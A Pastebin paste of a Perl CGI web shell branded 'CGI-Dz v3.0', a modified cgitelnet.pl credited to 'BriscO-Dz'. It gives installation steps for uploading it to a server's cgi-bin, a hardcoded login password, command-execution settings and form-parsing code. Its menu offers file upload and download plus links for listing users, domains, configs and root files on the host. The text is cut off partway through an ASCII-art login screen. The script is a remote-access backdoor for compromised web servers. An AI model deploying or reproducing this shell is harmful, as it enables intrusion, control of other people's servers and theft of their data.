Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- ####################_ _#################################################################################################################################################################################
- # o' \,=./ `o #
- # (o o) #
- #-----------------ooO--(_)--Ooo------------------------------------------------------------------------------------------------------------------------------------------------------------------------------/
- # _____ _____ _ _____ ______ [ ~~CGI Dz~~ ] !s a PerL 3vil script. /
- #/ ___| / ___| | | | _ \ |___ / Modif!ed By : BriscO-Dz <~> G-[at]HoTmail[dot]Fr /
- #| | | | | | ______ | | | | / / Note : I'm Proud to be ~~Alger!an0 !!~~ /
- #| | | | _ | | |______| | | | | / / Copyhigh (c) 2o12.All Rights Reserved. - ~~ wWw.BriscO-Dz.cOm ~~ /
- #| |___ | |_| | | | | |_| | / /__ 10x 2: [ Allah ] /
- #\_____| \_____/ |_| |_____/ /_____| Spc 10x & Grt'z 2: [ Spy-Dz Fr0m 48 ] [ Mr.FonToMe ] [ Over-X ] [ Dz.sOldaT ] [ Ev!LsCr!pT_Dz ] [ LoGin.Dz ] [ BLaCk_SPECTRE ]. / /
- # /
- #------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------/
- ##############################################################################################################################################################################################################
- #------------------------------------------------------------------------------
- # Installation
- #------------------------------------------------------------------------------
- # To install this script
- #
- # 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on
- # your server. For most servers, you may not need to modify this.
- # 2. Change the password in the Configuration section below.
- # 3. If you're running the script under Windows NT, set $WinNT = 1 in the
- # Configuration Section below.
- # 4. Upload the script to a directory on your server which has permissions to
- # execute CGI scripts. This is usually cgi-bin. Make sure that you upload
- # the script in ASCII mode.
- # 5. Change the permission (CHMOD) of the script to 755.
- # 6. Open the script in your web browser. If you uploaded the script in
- # cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
- # 7. Login using the password that you specified in Step 2.
- #------------------------------------------------------------------------------
- #------------------------------------------------------------------------------
- # Configuration: You need to change only $Password and $WinNT. The other
- # values should work fine for most systems.
- #------------------------------------------------------------------------------
- $Password = "dz"; # Change this. You will need to enter this
- # to login.
- $WinNT = 0; # You need to change the value of this to 1 if
- # you're running this script on a Windows NT
- # machine. If you're running it on Unix, you
- # can leave the value as it is.
- $NTCmdSep = "&"; # This character is used to seperate 2 commands
- # in a command line on Windows NT.
- $UnixCmdSep = ";"; # This character is used to seperate 2 commands
- # in a command line on Unix.
- $CommandTimeoutDuration = 100; # Time in seconds after commands will be killed
- # Don't set this to a very large value. This is
- # useful for commands that may hang or that
- # take very long to execute, like "find /".
- # This is valid only on Unix servers. It is
- # ignored on NT Servers.
- $ShowDynamicOutput = 1; # If this is 1, then data is sent to the
- # browser as soon as it is output, otherwise
- # it is buffered and send when the command
- # completes. This is useful for commands like
- # ping, so that you can see the output as it
- # is being generated.
- # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
- $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
- $CmdPwd = ($WinNT ? "cd" : "pwd");
- $PathSep = ($WinNT ? "\\" : "/");
- $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
- #------------------------------------------------------------------------------
- # Reads the input sent by the browser and parses the input variables. It
- # parses GET, POST and multipart/form-data that is used for uploading files.
- # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
- # Other variables can be accessed using $in{'var'}, where var is the name of
- # the variable. Note: Most of the code in this function is taken from other CGI
- # scripts.
- #------------------------------------------------------------------------------
- sub ReadParse
- {
- local (*in) = @_ if @_;
- local ($i, $loc, $key, $val);
- $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
- if($ENV{'REQUEST_METHOD'} eq "GET")
- {
- $in = $ENV{'QUERY_STRING'};
- }
- elsif($ENV{'REQUEST_METHOD'} eq "POST")
- {
- binmode(STDIN) if $MultipartFormData & $WinNT;
- read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
- }
- # handle file upload data
- if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
- {
- $Boundary = '--'.$1; # please refer to RFC1867
- @list = split(/$Boundary/, $in);
- $HeaderBody = $list[1];
- $HeaderBody =~ /\r\n\r\n|\n\n/;
- $Header = $`;
- $Body = $';
- $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
- $in{'filedata'} = $Body;
- $Header =~ /filename=\"(.+)\"/;
- $in{'f'} = $1;
- $in{'f'} =~ s/\"//g;
- $in{'f'} =~ s/\s//g;
- # parse trailer
- for($i=2; $list[$i]; $i++)
- {
- $list[$i] =~ s/^.+name=$//;
- $list[$i] =~ /\"(\w+)\"/;
- $key = $1;
- $val = $';
- $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
- $val =~ s/%(..)/pack("c", hex($1))/ge;
- $in{$key} = $val;
- }
- }
- else # standard post data (url encoded, not multipart)
- {
- @in = split(/&/, $in);
- foreach $i (0 .. $#in)
- {
- $in[$i] =~ s/\+/ /g;
- ($key, $val) = split(/=/, $in[$i], 2);
- $key =~ s/%(..)/pack("c", hex($1))/ge;
- $val =~ s/%(..)/pack("c", hex($1))/ge;
- $in{$key} .= "\0" if (defined($in{$key}));
- $in{$key} .= $val;
- }
- }
- }
- #------------------------------------------------------------------------------
- # Prints the HTML Page Header
- # Argument 1: Form item name to which focus should be set
- #------------------------------------------------------------------------------
- sub PrintPageHeader
- {
- $EncodedCurrentDir = $CurrentDir;
- $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
- print "Content-type: text/html\n\n";
- print <<END;
- <html>
- <head>
- <title>CGI-Dz [ Modified By BriscO-Dz ] [ v 3.0 | 2o12 !! 4 ModificaTion ] </title>
- $HtmlMetaHeader
- <link rel="shortcut icon" href="http://street48.co.cc/favicon.ico">
- <style type="text/css">
- .xdz{
- background-color: #3F74D6;
- color: black;
- font-weight: bold;
- }
- .brisco{
- color: black;
- }
- a{
- text-decoration: none;color: white;
- }
- .crewdz {
- color: #FFFF00;
- font-family: "Cooper Black";
- font-size: small;
- background-color: #FF0000;
- }
- .shadow{
- text-shadow: red 0px 0px 5px;
- }
- </style>
- </head>
- <body onLoad="document.f.@_.focus()" bgcolor="#000000" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
- <table border="1" width="100%" cellspacing="0" cellpadding="2">
- <tr><b>
- <td bgcolor="#E974C9" bordercolor="#FFFFFF" align="center"></b>
- <b><font color="#FFFFFF" size="2">#</font></b></td>
- <td bgcolor="#000000"><font face="Verdana" size="2" color="#FF0066"><b class="shadow">CGI-Dz [ Newz version 3.o !! ] [ BriscO-Dz ] Conn3cted 2 <font color="White" size="3" face="comic sans ms" class="shadow">~<font color="red" class="shadow">[</font> $ServerName <font color="red" class="shadow">]</font>~</font></b></font></td>
- </tr>
- <tr>
- <td colspan="2" bgcolor="#E974C9"><font face="Verdana" size="2"><span class="brisco">
- <a href="$RunCommand?id=xHomeDz">xHome</a></b> |
- <a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File !</a> |
- <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File !</a> |
- <a href="$ScriptLocation?a=logout">LogOut !</a> |
- <a href="javascript:history.go(-1)">Go back...</a>
-
- <a href="userd.dz" target="_blank">Sh0w Domain</a>|
- <a href="userdx.dz" target="_blank">Sh0w DomainX</a>|
- <a href="user.dz" target="_blank">Sh0w User & Domain</a>|
- <a href="config.dz" target="_blank">Config</a>|
- <a href="1.txt" target="_blank">File r00t</a>|
-
- <font class="fond" face="Tahoma" color="#FFFFFF">
- </font>
- [<a href="/" onmouseover="document.bgColor='red'">red</a>]
- [<a href="/" onmouseover="document.bgColor='black'">black</a>] </font>
- </font></td>
- </tr>
- </table>
- <font color="#3F74D6" size="3">
- END
- }
- #------------------------------------------------------------------------------
- # Prints the Login Screen
- #------------------------------------------------------------------------------
- sub PrintLoginScreen
- {
- $Message = q$<pre><font color="#3F74D6">
- _____ _____ _ _____ ______
- / ___| / ___| | | | _ \ |___ /
- | | | | | | ______ | | | | / /
- | | | | _ | | |______| | | | | / /
- | |___ | |_| | | | | |_| | / /__
- \_____| \_____/ |_| |_____/ /_____| v3.o
- </font><font color="white"> </font><font color="#3F74D6" class="shadow">© 2o12 !, by </font><font color="red" class="shadow">BriscO-Dz</font><font color="#3F74D6">
- <table align="left" cellpadding="10">
- <tr bgcolor="BLACK"><td>
- <!-- IMAGE BEGINS HERE -->
- <font size="-3">
- <pre><font color=#000001>1</font><font color=black>11</font><font color=#040404>0</font><font color=#0d100d>0</font><font color=#171d15>0</font><font color=#1d261d>1</font><font color=#1e281d>0</font><font color=#202a1e>1</font><font color=#202c1f>01</font><font color=#212e1f>1</font><font color=#223120>1</font><font color=#223021>0</font><font color=#202d1f>1</font><font color=#202c1f>0</font><font color=#212f1f>1</font><font color=#213020>0</font><font color=#233122>0</font><font color=#243221>1</font><font color=#243222>1</font><font color=#233222>1</font><font color=#223120>1</font><font color=#223020>10</font><font color=#233121>0</font><font color=#233021>1</font><font color=#22301f>0</font><font color=#233121>0</font><font color=#233221>1</font><font color=#243222>00</font><font color=#243322>00</font><font color=#223120>1</font><font color=#233121>0</font><font color=#233221>0</font><font color=#3e443e>1</font><font color=#4b4b4c>1</font><font color=#4b4b4b>010</font><font color=#4c4c4c>0</font><font color=#4b4b4c>1</font><font color=#4a4a4a>1</font><font color=#4a4a4b>1</font><font color=#4a4a4a>0</font><font color=#4b4b4b>1</font><font color=#4a4a4b>0</font><font color=#4a4a4a>010</font><font color=#494949>0</font><font color=#49494a>1101</font><font color=#484849>101</font><font color=#49484a>0</font><font color=#48484a>1</font><font color=#474748>10</font><font color=#464647>1</font><font color=#484748>0</font><font color=#474748>0</font><font color=#454546>0</font><font color=#454445>0</font><font color=#454546>1</font><font color=#444445>0</font><font color=#444345>1</font><font color=#464547>1</font><font color=#181819>0</font><font color=black>0</font><br><font color=black>0</font><font color=#000100>0</font><font color=#1a221a>1</font><font color=#4c624a>0</font><font color=#546c51>1</font><font color=#587455>0</font><font color=#5a7857>0</font><font color=#5c7b58>1</font><font color=#5f805b>0</font><font color=#61845c>0</font><font color=#62895e>1</font><font color=#669261>0</font><font color=#699764>0</font><font color=#699663>0</font><font color=#679261>0</font><font color=#669161>1</font><font color=#689562>0</font><font color=#699763>0</font><font color=#689563>1</font><font color=#6a9765>0</font><font color=#699664>0</font><font color=#6a9765>1</font><font color=#699664>00</font><font color=#689664>1</font><font color=#699764>10</font><font color=#699864>0</font><font color=#6b9b67>0</font><font color=#6a9764>1</font><font color=#6b9a66>0</font><font color=#6c9b67>01</font><font color=#6c9d67>1</font><font color=#6b9b65>1</font><font color=#699865>0</font><font color=#679662>1</font><font color=#c9d6c9>0</font><font color=#f6f6f8>0</font><font color=#f6f6f7>0</font><font color=#f5f5f6>0</font><font color=#f5f5f7>0</font><font color=#f7f7f9>0</font><font color=#f6f6f8>1</font><font color=#f4f4f6>0</font><font color=#f5f5f6>0</font><font color=#f4f4f5>1</font><font color=#f4f4f6>00</font><font color=#f3f3f5>01</font><font color=#f2f2f4>0</font><font color=#efeff1>1</font><font color=#efeef0>0</font><font color=#efeff0>0</font><font color=#eeeef0>0</font><font color=#ececee>1</font><font color=#ecebf0>0</font><font color=#e9e8ec>0</font><font color=#e8e8ec>1</font><font color=#eae9ed>0</font><font color=#eae9ee>0</font><font color=#eaeaed>0</font><font color=#e8e7eb>0</font><font color=#e9e8ec>1</font><font color=#e9e8eb>0</font><font color=#e7e7ea>0</font><font color=#e3e2e6>1</font><font color=#e1e0e4>1</font><font color=#dedde2>1</font><font color=#d9d8dd>0</font><font color=#dcdbdf>1</font><font color=#eeeef0>0</font><font color=#4f4e51>0</font><font color=#000001>0</font><br><font color=black>0</font><font color=#0f150f>1</font><font color=#668862>1</font><font color=#567055>1</font><font color=#4c624b>1</font><font color=#4f684b>1</font><font color=#506b4c>1</font><font color=#526e4f>0</font><font color=#557451>0</font><font color=#587d54>0</font><font color=#587e54>1</font><font color=#5c8758>0</font><font color=#608d5b>0</font><font color=#5f8d5a>0</font><font color=#608e5b>1</font><font color=#61935e>1</font><font color=#63925f>0</font><font color=#5f8c5b>0</font><font color=#5c8758>1</font><font color=#5e8a5a>1</font><font color=#608e5b>00</font><font color=#5f8c5a>11</font><font color=#62915e>1</font><font color=#62945f>0</font><font color=#62925e>0</font><font color=#61915d>0</font><font color=#61905e>0</font><font color=#608f5b>0</font><font color=#61905d>0</font><font color=#62935f>0</font><font color=#61935f>0</font><font color=#63935f>0</font><font color=#61925e>1</font><font color=#5e8b5b>1</font><font color=#5e895a>0</font><font color=#c6d3c5>1</font><font color=#f7f8f9>0</font><font color=#f8f8f8>1</font><font color=#f6f6f7>0</font><font color=#f5f5f7>1</font><font color=#f8f8f9>0</font><font color=#f7f7f8>1</font><font color=#f3f3f5>0</font><font color=#f2f2f4>1</font><font color=#f4f4f6>1</font><font color=#f6f6f8>0</font><font color=#f5f5f7>00</font><font color=#f4f4f6>0</font><font color=#efeff1>0</font><font color=#ededef>0</font><font color=#eeeef0>0</font><font color=#eeeeef>0</font><font color=#ededef>1</font><font color=#eae9ec>1</font><font color=#eaeaed>1</font><font color=#e9e8ec>0</font><font color=#e9e9ed>1</font><font color=#ebeaef>0</font><font color=#ebebee>1</font><font color=#ededef>0</font><font color=#ececee>1</font><font color=#eeeef0>0</font><font color=#ecebef>1</font><font color=#e8e8ec>0</font><font color=#e7e6ea>0</font><font color=#e6e5e9>1</font><font color=#e6e5e8>0</font><font color=#e5e4e7>1</font><font color=#e3e2e5>1</font><font color=#f2f2f4>0</font><font color=#515153>0</font><font color=black>1</font><br><font color=black>0</font><font color=#1c271b>1</font><font color=#7fad7a>1</font><font color=#54714f>1</font><font color=#506b4e>1</font><font color=#547450>1</font><font color=#557651>1</font><font color=#567750>0</font><font color=#587b53>0</font><font color=#5a7e55>0</font><font color=#5c8157>0</font><font color=#5e8a5b>1</font><font color=#618e5c>1</font><font color=#5d8959>1</font><font color=#5e8a5a>0</font><font color=#618e5b>1</font><font color=#61905e>0</font><font color=#608d5b>10</font><font color=#62925e>1</font><font color=#639560>0</font><font color=#649760>1</font><font color=#649861>0</font><font color=#639961>1</font><font color=#649760>0</font><font color=#639660>1</font><font color=#639460>0</font><font color=#61915d>1</font><font color=#639460>0</font><font color=#64975f>11</font><font color=#659a62>0</font><font color=#649961>0</font><font color=#649861>0</font><font color=#61915c>0</font><font color=#5e8b59>1</font><font color=#5e8a5a>1</font><font color=#c9d7c7>1</font><font color=#faf9fa>0</font><font color=#f8f8f8>1110</font><font color=#f6f6f7>1</font><font color=#f6f6f8>1</font><font color=#f7f7f8>1</font><font color=#f6f6f8>10</font><font color=#f4f4f6>110</font><font color=#f3f3f5>1</font><font color=#f0f0f1>0</font><font color=#efeff1>1</font><font color=#ececee>1</font><font color=#ececed>0</font><font color=#ececee>1</font><font color=#ececed>0</font><font color=#ebebed>0</font><font color=#eaeaed>1</font><font color=#ebebef>0</font><font color=#ededef>1</font><font color=#efeff1>1</font><font color=#eeeef0>1</font><font color=#efeff1>101</font><font color=#ececee>0</font><font color=#eeeef0>0</font><font color=#ededee>1</font><font color=#ededef>1</font><font color=#ebebec>0</font><font color=#f6f6f7>1</font><font color=#545455>1</font><font color=black>1</font><br><font color=#000100>0</font><font color=#1c271b>1</font><font color=#83b57d>1</font><font color=#587b54>01</font><font color=#5a8155>0</font><font color=#598057>1</font><font color=#597f55>0</font><font color=#5a7f55>0</font><font color=#5a7f54>1</font><font color=#5b8156>0</font><font color=#5e8a5a>0</font><font color=#608f5d>0</font><font color=#608c5b>0</font><font color=#5e8959>1</font><font color=#5e8758>1</font><font color=#5c8356>1</font><font color=#61905d>0</font><font color=#649861>0</font><font color=#63975f>0</font><font color=#629660>1</font><font color=#62935e>0</font><font color=#63945f>1</font><font color=#649b63>0</font><font color=#649660>0</font><font color=#649862>0</font><font color=#639560>0</font><font color=#63955f>1</font><font color=#639660>0</font><font color=#659860>1</font><font color=#659a61>0</font><font color=#639860>1</font><font color=#63945f>0</font><font color=#648c5b>0</font><font color=#688759>1</font><font color=#6f8257>1</font><font color=#727e55>1</font><font color=#cabbae>0</font><font color=#f4dbdb>1</font><font color=#f6e2e3>0</font><font color=#f7eeee>0</font><font color=#f7f4f4>0</font><font color=#f8f8f8>1</font><font color=#f7f8f9>0</font><font color=#f7f7f9>0</font><font color=#f6f6f8>01</font><font color=#f5f5f7>00</font><font color=#f6f6f8>11</font><font color=#f3f3f5>01</font><font color=#f0f0f2>10</font><font color=#f1f1f3>01</font><font color=#efeff1>1</font><font color=#ededee>0</font><font color=#ececee>1</font><font color=#ededef>1</font><font color=#efeff1>1</font><font color=#f0f0f2>1</font><font color=#f1f1f3>00</font><font color=#f2f2f4>10</font><font color=#efeff1>1</font><font color=#f0f0f2>0</font><font color=#ededef>0</font><font color=#ececee>0</font><font color=#ededee>0</font><font color=#f8f8f8>0</font><font color=#565657>1</font><font color=black>1</font><br><font color=black>0</font><font color=#1b241a>1</font><font color=#7da675>0</font><font color=#547351>1</font><font color=#567953>0</font><font color=#5a8055>0</font><font color=#5a8056>1</font><font color=#5b8457>0</font><font color=#5c8659>1</font><font color=#5e8959>01</font><font color=#5e8b5a>0</font><font color=#62905d>1</font><font color=#5f8c5b>0</font><font color=#5c8457>0</font><font color=#5a7e53>0</font><font color=#5e895a>1</font><font color=#63945f>1</font><font color=#64965f>0</font><font color=#669c64>1</font><font color=#659d63>1</font><font color=#659b63>1</font><font color=#649962>1</font><font color=#659d63>0</font><font color=#669c63>1</font><font color=#669e65>0</font><font color=#659d65>0</font><font color=#649a62>0</font><font color=#689762>1</font><font color=#768c5c>1</font><font color=#947856>1</font><font color=#b06550>1</font><font color=#c4564a>1</font><font color=#d24d48>1</font><font color=#d34946>1</font><font color=#d64746>1</font><font color=#d14948>1</font><font color=#d95150>1</font><font color=#de5859>1</font><font color=#df5d5d>1</font><font color=#df6363>0</font><font color=#db7070>1</font><font color=#e18485>1</font><font color=#e7a2a1>0</font><font color=#edc6c6>1</font><font color=#f3e6e7>1</font><font color=#f8f6f8>1</font><font color=#f9f9fa>1</font><font color=#f9f8fa>0</font><font color=#f9f9fa>1</font><font color=#f7f7f8>1</font><font color=#f6f6f8>1</font><font color=#f2f2f3>0</font><font color=#f2f2f4>1</font><font color=#f4f4f6>00</font><font color=#f5f5f6>1</font><font color=#f1f1f3>0</font><font color=#f0f0f2>1</font><font color=#f1f1f3>0</font><font color=#f2f2f4>0</font><font color=#f5f5f6>1</font><font color=#f6f6f7>1</font><font color=#f7f7f7>1</font><font color=#f3f3f5>1</font><font color=#f2f2f4>0</font><font color=#f1f1f3>01</font><font color=#f4f4f6>1</font><font color=#f0f0f2>1</font><font color=#ededef>0</font><font color=#efeff0>0</font><font color=#f7f7f8>0</font><font color=#545455>1</font><font color=black>1</font><br><font color=black>0</font><font color=#1c251b>1</font><font color=#7ba475>0</font><font color=#547151>1</font><font color=#567751>0</font><font color=#5a8056>1</font><font color=#5a8356>0</font><font color=#5b8155>1</font><font color=#5b8156>0</font><font color=#5c8557>1</font><font color=#608d5b>0</font><font color=#61915e>0</font><font color=#608c5b>1</font><font color=#608d5c>0</font><font color=#5c8255>0</font><font color=#608b5b>1</font><font color=#639661>0</font><font color=#61905d>11</font><font color=#61915d>1</font><font color=#659b63>1</font><font color=#659c63>1</font><font color=#669e65>0</font><font color=#659c63>0</font><font color=#669d64>0</font><font color=#67a469>0</font><font color=#6d9763>0</font><font color=#947656>1</font><font color=#c1594c>0</font><font color=#de4847>1</font><font color=#e14645>1</font><font color=#e04645>0</font><font color=#df4646>1</font><font color=#d54e48>1</font><font color=#b8614f>0</font><font color=#987455>1</font><font color=#807c57>1</font><font color=#cec2b4>1</font><font color=#f9eae9>1</font><font color=#faf2f1>1</font><font color=#faf3f3>1</font><font color=#f8f1f1>0</font><font color=#f8eaeb>1</font><font color=#f3dcdb>1</font><font color=#edc9c8>1</font><font color=#e8b7b6>0</font><font color=#ecbdbd>0</font><font color=#f5dcdc>1</font><font color=#faf8f7>1</font><font color=#fbfbfc>1</font><font color=#f9f9f9>0</font><font color=#f8f9f9>0</font><font color=#f7f7f7>1</font><font color=#f5f5f7>101</font><font color=#f6f6f7>1</font><font color=#f4f4f6>1</font><font color=#f3f3f5>1</font><font color=#f5f5f7>1</font><font color=#f6f6f7>1</font><font color=#f8f8f8>1</font><font color=#f9f9f9>0</font><font color=#f8f8f8>0</font><font color=#f3f3f5>0</font><font color=#f2f2f4>1</font><font color=#f0f0f2>1</font><font color=#f2f2f4>01</font><font color=#efeff1>1</font><font color=#e9e9eb>0</font><font color=#e6e6e7>0</font><font color=#f4f4f5>0</font><font color=#525253>0</font><font color=black>1</font><br><font color=black>1</font><font color=#1b251a>1</font><font color=#7fab79>0</font><font color=#557452>0</font><font color=#587a54>1</font><font color=#5b8357>1</font><font color=#5d8859>1</font><font color=#5d8458>1</font><font color=#5a8256>0</font><font color=#5d8758>0</font><font color=#5f8b5b>0</font><font color=#5e8b59>1</font><font color=#608f5d>1</font><font color=#62925e>0</font><font color=#5f8a5a>0</font><font color=#639560>0</font><font color=#649761>0</font><font color=#61905d>1</font><font color=#608f5d>1</font><font color=#608f5b>0</font><font color=#659a63>1</font><font color=#669d64>1</font><font color=#659e64>1</font><font color=#659b63>1</font><font color=#649a62>1</font><font color=#85885c>1</font><font color=#c4574c>0</font><font color=#d74646>0</font><font color=#e04645>1</font><font color=#de4647>0</font><font color=#de4645>1</font><font color=#d4514a>0</font><font color=#9d7a59>1</font><font color=#749461>1</font><font color=#679b63>0</font><font color=#659c63>1</font><font color=#629460>1</font><font color=#cadac8>0</font><font color=#fcfcfc>1</font><font color=#fdfdfd>0</font><font color=#fcfcfc>1</font><font color=#fbfbfa>0</font><font color=#fcfcfc>1</font><font color=#f8f8f9>1</font><font color=#f3e8e9>1</font><font color=#f9f8f8>1</font><font color=#f9f7f8>1</font><font color=#f8ebec>0</font><font color=#f7ecec>1</font><font color=#fbfcfc>0</font><font color=#fafafb>1</font><font color=#faf9f9>0</font><font color=#f8f9f9>1</font><font color=#f7f7f8>1</font><font color=#f6f6f6>1</font><font color=#f7f7f7>1</font><font color=#f9f9f9>1</font><font color=#f7f7f8>0</font><font color=#f6f6f8>1</font><font color=#f5f5f7>0</font><font color=#f7f7f7>0</font><font color=#f8f8f8>0</font><font color=#f9f9f9>0</font><font color=#f8f8f8>1</font><font color=#f6f6f8>1</font><font color=#f4f4f6>1</font><font color=#eeeef0>1</font><font color=#ebebed>1</font><font color=#eaeaec>0</font><font color=#e9e9eb>0</font><font color=#e5e5e7>1</font><font color=#e7e7e9>0</font><font color=#f4f4f4>0</font><font color=#525253>1</font><font color=black>1</font><br><font color=#000001>0</font><font color=#1e291c>0</font><font color=#85ba7f>0</font><font color=#597d55>1</font><font color=#5a7e54>1</font><font color=#5d8759>00</font><font color=#5b8256>1</font><font color=#5a7f55>0</font><font color=#5b8156>0</font><font color=#5e885a>1</font><font color=#62925e>1</font><font color=#659962>0</font><font color=#649861>0</font><font color=#63945f>1</font><font color=#649a62>0</font><font color=#649861>1</font><font color=#649661>0</font><font color=#63945e>1</font><font color=#63965f>0</font><font color=#659a62>00</font><font color=#639660>0</font><font color=#639960>1</font><font color=#887b57>0</font><font color=#d34b47>0</font><font color=#db4546>0</font><font color=#d94546>1</font><font color=#dd4546>1</font><font color=#dc4545>1</font><font color=#bc5c4d>1</font><font color=#739461>1</font><font color=#65a267>1</font><font color=#67a46a>0</font><font color=#659d64>1</font><font color=#649862>0</font><font color=#639761>1</font><font color=#c8cebd>0</font><font color=#f8e1e0>0</font><font color=#faeaeb>1</font><font color=#fcf5f4>1</font><font color=#fbfafb>0</font><font color=#f6e3e4>1</font><font color=#e59594>0</font><font color=#df7675>0</font><font color=#f9fafb>0</font><font color=#fafaf9>0</font><font color=#fafbfa>1</font><font color=#fafafa>0</font><font color=#fbfafa>0</font><font color=#f9faf9>1</font><font color=#f9f8f8>0</font><font color=#f9f9f8>1</font><font color=#f9f9fa>0</font><font color=#f8f8f8>00</font><font color=#fafafa>0</font><font color=#f9f9f9>0</font><font color=#f7f7f7>0</font><font color=#f3f3f5>1</font><font color=#f4f4f6>1</font><font color=#f5f5f6>10</font><font color=#f5f5f5>0</font><font color=#f5f5f6>1</font><font color=#f4f4f4>1</font><font color=#ededef>0</font><font color=#eaeaec>1</font><font color=#e9e9eb>0</font><font color=#ebebed>1</font><font color=#eaeaec>1</font><font color=#eeeef0>0</font><font color=#f7f7f8>0</font><font color=#545454>1</font><font color=black>1</font><br><font color=#000001>1</font><font color=#1e281c>0</font><font color=#85b97e>1</font><font color=#5c8358>0</font><font color=#5d8959>1</font><font color=#608e5c>0</font><font color=#608f5d>1</font><font color=#5b8456>0</font><font color=#5e8959>0</font><font color=#61905d>1</font><font color=#618f5d>0</font><font color=#639560>1</font><font color=#659a62>110</font><font color=#659961>1</font><font color=#659a62>0</font><font color=#649962>0</font><font color=#659962>0</font><font color=#61905c>0</font><font color=#639961>1</font><font color=#659b63>1</font><font color=#61915d>1</font><font color=#638f5d>1</font><font color=#c8544b>1</font><font color=#de4546>1</font><font color=#df4545>1</font><font color=#da4545>1</font><font color=#d94546>1</font><font color=#d24b48>1</font><font color=#748b5c>0</font><font color=#639861>0</font><font color=#669b63>0</font><font color=#659e65>1</font><font color=#649d63>1</font><font color=#639761>1</font><font color=#649660>0</font><font color=#c8d1c0>0</font><font color=#f1b8b8>0</font><font color=#e47071>1</font><font color=#e56868>0</font><font color=#e47878>1</font><font color=#da5b5a>0</font><font color=#d34746>0</font><font color=#d96464>1</font><font color=#efd3d3>0</font><font color=#f6e5e4>1</font><font color=#f9f3f3>1</font><font color=#fafafa>01</font><font color=#f9f9f9>1</font><font color=#f7f7f8>1</font><font color=#f7f7f6>0</font><font color=#f6f6f7>11</font><font color=#f7f7f7>0</font><font color=#f8f8f8>0</font><font color=#f7f7f8>1</font><font color=#f3f3f4>1</font><font color=#eeeeef>0</font><font color=#efeff1>0</font><font color=#f3f3f4>0</font><font color=#f4f4f5>0</font><font color=#f5f5f6>0</font><font color=#f8f8f8>0</font><font color=#f6f6f7>1</font><font color=#f3f3f5>0</font><font color=#f1f1f3>0</font><font color=#efeff1>11</font><font color=#f0f0f2>1</font><font color=#f3f3f5>1</font><font color=#f9f9fa>1</font><font color=#545455>1</font><font color=black>1</font><br><font color=#000001>1</font><font color=#1e2b1d>1</font><font color=#8cc384>1</font><font color=#618d5c>1</font><font color=#608e5b>1</font><font color=#608f5b>1</font><font color=#618f5d>1</font><font color=#5d8758>0</font><font color=#608e5c>0</font><font color=#62925d>1</font><font color=#62915d>1</font><font color=#639560>0</font><font color=#669f66>0</font><font color=#669c64>1</font><font color=#649961>0</font><font color=#659a61>0</font><font color=#649a62>1</font><font color=#649862>0</font><font color=#61905d>1</font><font color=#618e5c>1</font><font color=#649b62>1</font><font color=#679f66>0</font><font color=#649960>0</font><font color=#6c8d5d>0</font><font color=#d24b47>0</font><font color=#e04546>0</font><font color=#e24645>0</font><font color=#db4546>1</font><font color=#d44546>1</font><font color=#c8534b>0</font><font color=#67935f>1</font><font color=#63945f>0</font><font color=#659861>1</font><font color=#669d64>1</font><font color=#659c64>0</font><font color=#649961>0</font><font color=#649861>0</font><font color=#c9dac8>0</font><font color=#fbf5f5>0</font><font color=#efb5b4>1</font><font color=#e14b4a>0</font><font color=#dd4747>0</font><font color=#db4546>1</font><font color=#d54545>1</font><font color=#d54a4a>1</font><font color=#da6666>1</font><font color=#df8281>1</font><font color=#e9a5a5>0</font><font color=#f0cccc>1</font><font color=#f9f3f4>0</font><font color=#f9f9f9>1</font><font color=#f7f7f7>0</font><font color=#f5f5f6>0</font><font color=#f3f3f5>1</font><font color=#f2f2f4>0</font><font color=#f1f1f3>1</font><font color=#f4f4f6>10</font><font color=#f2f2f3>0</font><font color=#ededef>0</font><font color=#ececee>1</font><font color=#f0f0f2>01</font><font color=#f2f2f4>1</font><font color=#f3f3f5>1</font><font color=#f1f1f3>1</font><font color=#f0f0f2>1</font><font color=#eeeef0>0</font><font color=#ededef>1</font><font color=#efeff1>1</font><font color=#f1f1f3>00</font><font color=#f7f7f8>1</font><font color=#535354>1</font><font color=black>1</font><br><font color=#000001>1</font><font color=#132311>1</font><font color=#5eaa57>1</font><font color=#457d40>0</font><font color=#4b8044>1</font><font color=#4f854a>1</font><font color=#51844d>0</font><font color=#4f7c4a>0</font><font color=#53834e>0</font><font color=#558550>1</font><font color=#578752>1</font><font color=#5b8a55>0</font><font color=#5f955c>1</font><font color=#5f965d>1</font><font color=#60945d>1</font><font color=#61965e>1</font><font color=#649961>1</font><font color=#649a62>0</font><font color=#63955e>1</font><font color=#61915d>1</font><font color=#639861>0</font><font color=#649962>11</font><font color=#649761>0</font><font color=#b65e4d>0</font><font color=#dc4444>1</font><font color=#e04344>1</font><font color=#da4344>0</font><font color=#d54242>1</font><font color=#d44342>1</font><font color=#827953>1</font><font color=#5e945b>1</font><font color=#5e975c>0</font><font color=#5e9a5e>0</font><font color=#5c975a>0</font><font color=#589356>1</font><font color=#568f53>0</font><font color=#c2c1ae>0</font><font color=#eb9d9c>1</font><font color=#e97f80>1</font><font color=#ec9998>0</font><font color=#edaeaf>0</font><font color=#dd6d6c>0</font><font color=#ca1e1e>0</font><font color=#d14443>1</font><font color=#f4f5f4>0</font><font color=#f5f6f6>1</font><font color=#f6f6f6>1</font><font color=#f7f7f7>0</font><font color=#f8f8f8>0</font><font color=#f9f9f9>1</font><font color=#f7f7f8>1</font><font color=#f4f4f5>1</font><font 